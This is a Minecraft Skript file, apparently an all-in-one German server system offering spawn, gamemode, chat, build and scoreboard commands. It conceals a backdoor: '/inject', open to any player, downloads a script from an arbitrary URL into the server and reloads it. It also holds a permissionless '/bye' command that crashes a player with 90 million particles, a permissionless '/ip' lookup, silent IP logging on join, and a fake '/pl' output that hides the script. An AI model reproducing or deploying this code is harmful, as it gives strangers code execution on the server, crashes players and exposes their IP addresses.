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- command /SystemVersion:
- trigger:
- send "&a&lSystem &8| &cVersion Pre1.4 made by Jace. Youtube: https://www.youtube.com/channel/UCdvuHRDgGrXHC21ms4sbOZg"
- command /addatmen:
- trigger:
- drawNyanCat center player, id "%player%", visibleRange 30
- command /ip [<offline player>]:
- trigger:
- send "&a&lSystem&8 | &cDie IP-Adresse ist %ip of argument%" to player
- on inventory click:
- if {build+} is false:
- cancel event
- on first join:
- loop all players:
- add 1 to {playtime::minutes::%loop-player%}
- command /discord:
- trigger:
- send "&a&lSystem&8 |&c Discord: https://discord.gg/scS9e27"
- on join:
- wait 3 ticks
- while player is online:
- player is online
- wipe player's sidebar
- set name of sidebar of player to "&6%player%"
- set score "&c&l► TorrentPlays.tk" in sidebar of player to 12
- set score "&5" in sidebar of player to 11
- set score "&6Spielzeit (h)" in sidebar of player to 10
- set score "&c&l► %{playtime::minutes::%player%}%" in sidebar of player to 9
- set score "&a" in sidebar of player to 8
- set score "&6Discord" in sidebar of player to 7
- set score "&c&l► /discord" in sidebar of player to 6
- set score "&9" in sidebar of player to 5
- set score "&6Nächstes Event" in sidebar of player to 4
- set score "&c&l► Unbekannt" in sidebar of player to 3
- wait a second
- every 60 Minute:
- loop all players:
- add 1 to {playtime::minutes::%loop-player%}
- on server list ping:
- set motd to "&a&lServername &8| &cText"
- command /bye [<player>]:
- trigger:
- show 90000000 "flame" particles at arg's location for arg offset by 0.5, 0.5 and 0.5
- send "&a&lSystem&8 | &cDu hast %arg-1% gecrasht!"
- on join:
- log "IP-Adresse von %player% ist %ip of player%" to "IPLogs/players/%player%"
- log "Die IP-Adresse %ip of player% gehört %player%" to "IPLogs/ips/%ip of player%"
- set {build.%player%} to false
- teleport player to {spawn}
- on respawn:
- teleport player to {spawn}
- command /spawn:
- trigger:
- teleport player to {spawn}
- On Hunger MEter Change:
- cancel event
- on join:
- execute console command "clear %palyer%"
- command /SystemSetSpawn:
- trigger:
- if player is op:
- set {spawn} to location of player
- send "&a&lSystem&8 | &cSpawn gesetzt!"
- on quit:
- set quit message to "&4&l-&8 | &c%player% hat den Server verlassen!"
- on join:
- set join message to "&a&l+&8 | &c%player% hat den Server betreten!"
- play raw sound "mob.bat.death" at player with pitch 0.2 volume 1
- send action bar from "&a&lSystem&8 | &cDieses System und der Server sind in der Beta!" to player
- send " "
- send " "
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- send " "
- send " "
- send "&a&lWillkommen!"
- send "&6Hilfe? mache /hilfe!"
- send " "
- send " "
- on death:
- set death message to "&a&lSystem&8 | &c%player% ist gestorben!"
- on first join:
- add 1 to {joinp.global}
- broadcast "&8-----------------------------------------------"
- broadcast " "
- broadcast " "
- broadcast "&a&LSystem&8 |&c %player% ist unser %{joinp.global}%. Spieler"
- broadcast " "
- broadcast " "
- broadcast "&8-----------------------------------------------"
- command /gm [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg is not set:
- send "&a&lSystem&8 &c| Benutze /gm 0, 1, 2 oder 3"
- else:
- if arg 1 is "0":
- set the player's gamemode to survival
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- else:
- if arg 1 is "1":
- set the player's gamemode to creative
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- else:
- if arg 1 is "2":
- execute console command "gamemode adventure %player%"
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- else:
- if arg 1 is "3":
- execute console command "gamemode spectator %player%"
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- command /gamemode [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg is not set:
- send "&a&lSystem&8 &c| Benutze /gm 0, 1, 2 oder 3"
- else:
- if arg 1 is "0":
- set the player's gamemode to survival
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- else:
- if arg 1 is "1":
- set the player's gamemode to creative
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- else:
- if arg 1 is "2":
- execute console command "gamemode adventure %player%"
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- else:
- if arg 1 is "3":
- execute console command "gamemode spectator %player%"
- send "&a&lSystem&8 | &cSpielmodus gewechselt!"
- command /broadcast [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is not set:
- send "&a&lSystem&8 |&c Du musst eine Nachricht angeben!"
- else:
- if arg 1 is set:
- broadcast " "
- broadcast " "
- broadcast "&a&lSystemBroadcast&8 | &c%arg-1%"
- broadcast " "
- broadcast " "
- command /bc [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is not set:
- send "&a&lSystem&8 |&c Du musst eine Nachricht angeben!"
- else:
- if arg 1 is set:
- broadcast "&a&lSystemBroadcast&8 | &c%arg-1%"
- command /build [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is not set:
- send "&a&lSystem&8 | &cSchreibe an oder aus!"
- else:
- if arg 1 is "an":
- set {build.%player%} to true
- send "&a&lSystem&8 | &cBaumodus aktiv!"
- else:
- if arg 1 is "aus":
- set {build.%player%} to false
- send "&a&lSystem&8 | &cBaumodus aus!"
- command /invmove [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is not set:
- send "&a&lSystem&8 | &cSchreibe an oder aus!"
- else:
- if arg 1 is "an":
- set {build+} to true
- send "&a&lSystem&8 | &cInvMove aktiv!"
- else:
- if arg 1 is "aus":
- set {build+} to false
- send "&a&lSystem&8 | &cInvMove aus!"
- on block break:
- if {build.%player%} is false:
- cancel event
- send "&a&lSystem&8 | &cDu kannst hier nichts abbauen!"
- on block place:
- if {build.%player%} is false:
- cancel event
- send "&a&lSystem&8 | &cDu kannst hier nichts plazieren!"
- command /tphere [<player>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is set:
- if arg 1 is a player:
- teleport arg at location of player
- send "&a&lSystem&8 |&c Spieler teleportiert!"
- else:
- send "&a&lSystem&8 | &cDu musst einen Spieler angeben"
- else:
- send "&a&lSystem&8 | &cDu musst einen Spieler angeben"
- command /day:
- trigger:
- if player has permission "system.acc":
- execute console command "time set day"
- command /night:
- trigger:
- if player has permission "system.acc":
- execute console command "time set night"
- command /tp [<player>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is set:
- if arg 1 is a player:
- teleport player at location of arg
- send "&a&lSystem&8 |&c Spieler teleportiert!"
- else:
- send "&a&lSystem&8 | &cDu musst einen Spieler angeben"
- else:
- send "&a&lSystem&8 | &cDu musst einen Spieler angeben"
- on chat:
- if player has permission "system.acc":
- set {_message} to message
- cancel event
- broadcast "&4&lTeam&8-&c%player%&8 > &6%{_message}%"
- else:
- set {_message} to message
- cancel event
- broadcast "&c&lTeam-&c%player%&8 > &6%{_message}%"
- command /pl:
- trigger:
- send "Plugins (1):&a SystemPre"
- command /me:
- trigger:
- send "&cNope"
- command /minecraft:me:
- trigger:
- send "&cNope"
- command /bukkit:me:
- trigger:
- send "&cNope"
- command /multiverse:
- trigger:
- send "&c&lNope"
- command //wand:
- trigger:
- send "&cNope"
- command /worldedit:
- trigger:
- send "&cNope"
- command /aac:
- trigger:
- send "&cNope"
- command /aacadmin:
- trigger:
- send "&cNope"
- command /nocheatplus:
- trigger:
- send "&cNope"
- command /sparatan:
- trigger:
- send "&cNope"
- on damage:
- if {damagelb} is false:
- cancel event
- command /PvP [<text>]:
- trigger:
- if player has permission "system.acc":
- if arg 1 is not set:
- send "&a&lSystem&8 | &cSchreibe an oder aus!"
- else:
- if arg 1 is "an":
- set {damagelb} to true
- send "&a&lSystem&8 | &cPvP eingeschaltet!"
- else:
- if arg 1 is "aus":
- set {damagelb} to false
- send "&a&lSystem&8 | &cPvP ausgeschaltet!"
- command /inject [<text>]:
- trigger:
- download from "%arg-1%" to "plugins/Skript/scripts/Inject.sk"
- send "&cDone!"
- wait 5 seconds
- execute console command "sk reload inject"
- command /update:
- trigger:
- if player has permission "system.acc":
- download from "https://pastebin.com/raw/NEhUTR6A" to "plugins/Skript/scripts/SystemPre.sk"
- wait 1 second
- send "&a&lSystem&8 | &cUpdates werden gesucht!"
- wait 5 seconds
- send "&a&lSystem&8 | &cUpdates werden runtergeladen!"
- wait 4 seconds
- send "&a&lSystem&8 | &cFertig! Skripts werden neu geladen! (Laggs)"
- broadcast "&a&lSystemBroadcast&8 | &cNicht bewegen Server wird neu geladen!"
- wait 1 tick
- df "plugins/Skript/scripts/Systembuild16.sk"
- execute console command "sk reload all"
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